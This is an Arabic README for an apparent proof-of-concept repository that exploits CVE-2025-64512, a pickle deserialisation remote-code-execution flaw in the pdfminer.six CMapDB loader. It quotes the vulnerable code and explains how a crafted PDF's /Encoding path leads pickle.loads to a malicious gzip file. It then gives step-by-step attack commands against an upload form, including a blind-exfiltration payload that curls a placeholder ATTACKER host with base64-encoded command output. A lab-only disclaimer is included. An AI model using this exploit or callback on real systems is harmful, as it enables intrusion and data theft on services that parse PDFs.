
PoC لـ CVE-2025-64512: RCE عبر إلغاء تسلسل pickle في CMapDB بمكتبة pdfminer.six باستخدام ملف PDF مُصمم خصيصًا
CMapDB في pdfminer.sixإثبات مفهوم لثغرة إلغاء تسلسل في pdfminer.six تؤدي إلى تنفيذ تعليمات برمجية عشوائية عند تحليل ملف PDF مُصمَّم بدقة.
الغرض / إخلاء مسؤولية قانوني هذا المستودع مُقدَّم لأغراض تعليمية وللبحث الأمني المصرَّح به فقط. إنه يعيد إنتاج ثغرة CVE معلنة علنًا وتم تصحيحها. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام. البيئة المقصودة: Hack The Box / VulnHub / مختبر محلي.
pdfminer.six قبل 2025050620250506في ، يقرأ ملف CMap يُشتق اسمه من إدخال لخط PDF، ثم يمرر المحتوى إلى :
cmapdb.pyCMapDB._load_data()/Encodingpickle.loads()def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
ثلاث خصائص تتضافر لجعل هذه الثغرة قابلة للاستغلال:
pickle.loads() على بيانات يتحكم بها المهاجم -> تنفيذ تعليمات برمجية عشوائية.os.path.join() يتجاهل دليل البحث ويفتح الملف في ذلك المسار المحدد..pickle.gz تلقائيًا، لذلك يُعطى المسار بدون الامتداد.يتطلب الاستغلال رفع ملفين إلى تطبيق الويب المعرّض للثغرة:
payload.pickle.gz — كائن pickle مضغوط بصيغة gzip، حيث ينفذ __reduce__ أمرًا ويعيد قاموسًا بصيغة CMap (لكي يستمر التحليل بسلاسة بعد تشغيل الحمولة).trigger.pdf — ملف PDF بسيط يستخدم Type0/CIDFont حيث يشير /Encoding في خطه إلى المسار المطلق للملف pickle (بدون امتداد).هناك تفصيلان مهمان على مستوى PDF:
CMapDB.get_cmap() إلا عبر CIDFont (خط Type0 يحتوي على إدخال DescendantFonts)، وليس عبر خط Type1 عادي./، لذا يجب أن يبدأ المسار المشفَّر بـ #2f للحفاظ على الشرطة المائلة الأولى في المسار المطلق. كما تُستخدم #2f للشرطات المائلة الداخلية لأن / هو محدد أسماء.عندما يحلل الهدف ملف PDF (مثل مراقب خلفي يستدعي pdf2txt.py)، يفتح CMapDB._load_data() ملف pickle وينفذ الأمر.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
تم التحقق من ذلك بالكامل ضد pdfminer.six 20250416 (الإصدار المعرّض للثغرة): تشغيل pdf2txt.py trigger.pdf ينفذ أمر الحمولة ويخرج برمز 0.
أمر الحمولة أعمى (blind)؛ لذا يمكن تسريب البيانات عبر callback، على سبيل المثال:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| الملف | الغرض |
|---|---|
make_payload.py | ينشئ ملف payload.pickle.gz الخبيث |
make_trigger_pdf.py | ينشئ ملف PDF المُحفِّز /Encoding مع إزاحات xref صحيحة |
20250506